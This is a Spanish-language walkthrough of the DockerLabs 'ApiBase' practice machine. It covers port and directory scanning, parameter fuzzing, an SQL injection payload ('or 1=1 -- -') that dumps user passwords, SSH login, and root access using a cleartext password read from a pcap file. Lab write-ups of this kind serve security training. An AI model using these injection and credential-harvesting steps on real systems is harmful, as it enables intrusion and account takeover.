> For the complete documentation index, see [llms.txt](https://brias.gitbook.io/brias/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://brias.gitbook.io/brias/dockerlabs/dificultad-facil/apibase.md).

# ApiBase

### **1. Despliegue de la máquina**

#### **1.1. Descarga**

Accedemos a la web oficial de [DockerLabs](https://dockerlabs.es/), buscamos la máquina **ApiBase** y pulsamos en el botón de descarga. Esto nos redirige a un enlace de Mega, desde donde descargamos un archivo comprimido que contiene tanto la imagen de la máquina como el script necesario para su ejecución.

#### **1.2. Descompresión**

Utilizamos `7z` para extraer el contenido del archivo comprimido:

```bash
7z x apibase.zip
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fex9LTNUCOnv5shhqVcOT%2FPasted%20image%2020250726152047.png?alt=media&amp;token=1d1ebb18-a669-4925-af85-7cab18708134" alt=""><figcaption></figcaption></figure>

#### **1.3. Ejecución**

Ejecutamos el script (`auto_deploy.sh`) para levantar la máquina en Docker:

```bash
bash auto_deploy.sh apibase.tar
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FFsJOPX6WfhkiTpffl6BZ%2FPasted%20image%2020250726152112.png?alt=media&amp;token=0367a34b-1566-4c9b-8696-5da94882fc26" alt=""><figcaption></figcaption></figure>

### **2. Reconocimiento**

#### **2.1. Verificación de conectividad**

Realizamos un `ping` a la dirección IP de la máquina (`172.17.0.2`) para confirmar que está activa:

```bash
ping -c 1 172.17.0.2
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FyrkDR8R5eRnjJiiK4QwB%2FPasted%20image%2020250726152157.png?alt=media&amp;token=95c806c8-642e-439f-8e70-6e741d1e9f14" alt=""><figcaption></figcaption></figure>

#### **2.2. Escaneo de puertos**

Realizamos un escaneo rápido con `nmap` para identificar puertos abiertos:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

**Explicación de los parámetros:**

* `-p-`: Escanea todos los puertos (1-65535).
* `--open`: Muestra solo puertos abiertos.
* `-sS`: Escaneo SYN (stealth, no completa la conexión TCP).
* `--min-rate 5000`: Acelera el escaneo enviando 5000 paquetes/segundo.
* `-vvv`: Máximo nivel de verbosidad.
* `-n`: Evita resolución DNS.
* `-Pn`: Trata el host como activo (evita detección por `ping`).
* `-oG allPorts`: Guarda los resultados en formato Grepable, en el archivo `allPorts`.

**Puertos abiertos identificados:**

* **Puerto 22:** `SSH`.
* **Puerto 5000:** `UPNP`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FSbB7gmx6VxjU3elWJe2d%2FPasted%20image%2020250726152236.png?alt=media&amp;token=81d6429e-535f-4770-8821-4abad6185e63" alt=""><figcaption></figcaption></figure>

#### **2.3. Escaneo detallado**

Realizamos un escaneo detallado para obtener más información de los puertos abiertos:

```bash
nmap -p22,5000 -sCV 172.17.0.2 -oN targeted
```

**Explicación de los parámetros:**

* `-p22,5000`: Especifica los puertos que se desea escanear, en este caso, el puerto 22 y el puerto 5000.
* `-sCV`: Escaneo de versiones (`-sV`) y ejecución de scripts básicos de reconocimiento (`-sC`).
* `-oN targeted`: Guarda la salida en formato normal, en el archivo `targeted`.

**Resultados:**

* **Puerto 22:** OpenSSH 8.4p1.
* **Puerto 5000:** Servidor HTTP Werkzeug 1.0.1 (Python 3.9.2), que muestra un mensaje en formato JSON.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F5OTkrdQvbUNrFyqLQKfO%2FPasted%20image%2020250726152318.png?alt=media&amp;token=ae64ffc6-f3b3-4413-8fd9-f65896265cea" alt=""><figcaption></figcaption></figure>

#### **2.4. Análisis del servicio web**

Accedemos al servicio web en `http://172.17.0.2:5000/` y encontramos el siguiente mensaje:

```json
message: "No endpoint selected. Please use /add to add a user or /users to query users."
```

Esto nos indica que existen dos rutas potenciales: `/add` y `/users`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F55zaRDp6ADiBqF51T1u6%2FPasted%20image%2020250726152413.png?alt=media&amp;token=37ee489d-24cc-4f9f-9bcb-b559d6951d27" alt=""><figcaption></figcaption></figure>

#### **2.5. Enumeración de directorios y archivos**

Buscamos directorios y archivos ocultos con `gobuster`:

```bash
gobuster dir -u http://172.17.0.2:5000/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x html,php
```

**Explicación de los parámetros:**

* `dir`: Modo de descubrimiento de directorios.
* `-u`: URL objetivo.
* `-w`: Wordlist utilizada para el descubrimiento.
* `-x`: Extensiones de archivo a buscar.

**Rutas detectadas:**

* `/users` -> `http://172.17.0.2:5000/users`.
* `/add` -> `http://172.17.0.2:5000/add`.
* `/console` -> `http://172.17.0.2:5000/console`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FWUc5j1zEUVAwoY9AFNQQ%2FPasted%20image%2020250726154135.png?alt=media&amp;token=4f357af0-1ef7-468d-bb01-fdd8fe6bd722" alt=""><figcaption></figcaption></figure>

#### **2.6. Análisis de las rutas encontradas**

#### **2.6.1. Ruta `/console`**

Al acceder a esta ruta (`http://172.17.0.2:5000/console`), recibimos el siguiente mensaje de error:

```html
Bad Request

The browser (or proxy) sent a request that this server could not understand.
```

**Interpretación del error:**

* El mensaje "Bad Request" nos indica que el servidor no entiende la solicitud que le estamos enviando.
* Esto nos sugiere que la ruta `/console` podría estar protegida.
* Es probable que se trate de una consola interna restringida, accesible solo bajo condiciones particulares (como autenticación, cabeceras específicas o acceso desde una IP autorizada).

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FiN1zYFdfruU8TS14ESdQ%2FPasted%20image%2020250726152820.png?alt=media&amp;token=173d0787-6004-4d12-8209-96c2e64d5002" alt=""><figcaption></figcaption></figure>

#### **2.6.2. Ruta `/add`**

Al acceder a esta ruta (`http://172.17.0.2:5000/add`), obtenemos el siguiente mensaje:

```html
Method Not Allowed

The method is not allowed for the requested URL.
```

**Interpretación del error:**

* El mensaje "Method Not Allowed" nos indica que el método HTTP que estamos utilizando (probablemente `GET`) no está permitido para esta ruta.
* Esto sugiere que `/add` podría requerir otro método, como `POST`, para funcionar correctamente.
* En este estado, no podemos acceder al recurso, ya que el servidor rechaza nuestra solicitud.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fgl1zfaY7uiLW3f91kQTE%2FPasted%20image%2020250726152859.png?alt=media&amp;token=fcf5b71e-0d29-44cd-ba1e-2f735657fa38" alt=""><figcaption></figcaption></figure>

#### **2.6.3. Ruta `/users`**

Al acceder a esta ruta (`http://172.17.0.2:5000/users`), el servidor nos responde con el siguiente mensaje de error:

```json
error: "Invalid parameter"
```

**Interpretación del error:**

* El mensaje indica que la solicitud enviada contiene un parámetro incorrecto o que falta un parámetro obligatorio que no estamos proporcionando.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FTAcBwaSZvLyquuFRFEXw%2FPasted%20image%2020250726154530.png?alt=media&amp;token=85cb0f52-1708-4ef0-aeee-0a3fc84a863a" alt=""><figcaption></figcaption></figure>

#### **2.7. Fuerza bruta de parámetros**

Usamos `wfuzz` para descubrir el parámetro válido:

```bash
wfuzz -c --hc=404 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2:5000/users?FUZZ="
```

**Explicación de los parámetros:**

* `-c`: Activa la salida en color, lo que facilita la lectura de los resultados en la terminal.
* `--hc=404`: Oculta las respuestas con el código de estado HTTP 404 (Not Found).
* `-w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt`: Especifica el diccionario de palabras que se utilizarán para el ataque.
* `-u "http://172.17.0.2:5000/users?FUZZ="`: Define la URL objetivo y el punto donde se insertarán las palabras del diccionario (`FUZZ`).

**Resultado:** El parámetro válido es `username`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FnbgKXfZ8RUTMKkI7Uhs5%2FPasted%20image%2020250726154619.png?alt=media&amp;token=6fd619b9-ed0d-4bb5-b639-184e547d39a5" alt=""><figcaption></figcaption></figure>

Al acceder con el parámetro `username` (`http://172.17.0.2:5000/users?username=`), el servidor nos responde con el siguiente mensaje:

```json
message: "Enter your username"
```

**Interpretación del mensaje:**

* El servidor nos está solicitando que introduzcamos un nombre de usuario válido.
* Esto confirma que el parámetro `username` es reconocido y esperado por la aplicación.
* A diferencia del error anterior ("Invalid parameter"), ahora la ruta responde correctamente, pero requiere un valor específico para continuar.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FBqqaNtfS6ofiyUNxREv9%2FPasted%20image%2020250726154703.png?alt=media&amp;token=af43b4ac-034a-4cbc-a344-09e2dcdbbeb5" alt=""><figcaption></figcaption></figure>

Vamos a realizar un ataque de fuerza bruta como antes para encontrar un usuario válido:

```bash
wfuzz -c --hc=404 --hh=39 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://172.17.0.2:5000/users?username=FUZZ"
```

Encontramos que una comilla (`'`) es una entrada correcta.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FcZ8nYb55LqNYAHcjaIb3%2FPasted%20image%2020250726160416.png?alt=media&amp;token=532d2fad-07c1-42e2-b970-cc1dc1d8b027" alt=""><figcaption></figcaption></figure>

Al introducir la comilla simple (`http://172.17.0.2:5000/users?username='`), obtenemos un error de SQLite, lo que indica una posible vulnerabilidad de SQL Injection.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FQIjSub7ioTd82A5TgwkA%2FPasted%20image%2020250726160438.png?alt=media&amp;token=f84ee45e-dc97-48c5-bcef-d86d526c335d" alt=""><figcaption></figcaption></figure>

### **3. Explotación**

#### **3.1. Inyección SQL**

Probamos una inyección clásica:

```
http://172.17.0.2:5000/users?username=' or 1=1 -- -
```

**Explicación:**

* `'`: Cierra la cadena abierta por el backend.
* `or 1=1`: Siempre se cumple, devolviendo todos los registros.
* `-- -`: Comenta el resto de la consulta SQL original.

**Resultado:** Accedemos a datos internos de usuarios:

```json
[
  {
    "id": 1,
    "username": "pingu",
    "password": "your_password"
  },
  {
    "id": 2,
    "username": "pingu",
    "password": "pinguinasio"
  }
]
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FV2Xa88kqXO1iZu36wAXR%2FPasted%20image%2020250726160543.png?alt=media&amp;token=4486c29a-c25a-4312-9595-82d473f0ced6" alt=""><figcaption></figcaption></figure>

#### **3.2. Acceso SSH**

Con estas credenciales intentamos conectarnos por SSH:

```bash
ssh pingu@172.17.0.2
```

**Resultado:** Acceso exitoso a la máquina objetivo con el usuario `pingu`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FoEeaWE89lu47AcVaUUQR%2FPasted%20image%2020250726160636.png?alt=media&amp;token=50d12b95-b24a-4cb0-a76e-456055946ba5" alt=""><figcaption></figcaption></figure>

### **4. Escalada de privilegios**

#### **4.1. Análisis del archivo `network.pcap`**

Dentro del directorio `/home` del usuario `pingu`, encontramos un archivo llamado `network.pcap`.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2Fyu4KuHBxU7MoEic3IsYK%2FPasted%20image%2020250726160836.png?alt=media&amp;token=539c155d-e845-4af0-8c60-ffa297422799" alt=""><figcaption></figcaption></figure>

Analizamos su contenido:

```bash
cat network.pcap
```

**Resultado:** El archivo contiene credenciales en texto claro para el usuario `root`:

```bash
�ò����&�gVF((E(@"���P .�&�g@G((E(@O��P [�&�g�G((E(@"���P .�&�g3H33E3@"���P aRLOGIN root
&�g
   I66E6@"���P ��PASS balulero
&�g�I66E6@O��P �Access Denied
```

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2F2wdbw4C0LS6DISvXAHrT%2FPasted%20image%2020250726160846.png?alt=media&amp;token=321f1f25-b552-4b70-b473-7f3c107c8dd7" alt=""><figcaption></figcaption></figure>

#### **4.2. Acceso como root**

Utilizamos las credenciales encontradas anteriormente para acceder como `root`:

```bash
su root
```

Introducimos la contraseña `balulero` y confirmamos que tenemos acceso privilegiado al sistema.

<figure><img src="https://2545819908-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FAk2c1NdqPU8fCv6opfVG%2Fuploads%2FdgQrvhkS89199ZSKXc9Q%2FPasted%20image%2020250726160912.png?alt=media&amp;token=90765730-afe2-4f0b-895c-1b251a52e1a7" alt=""><figcaption></figcaption></figure>
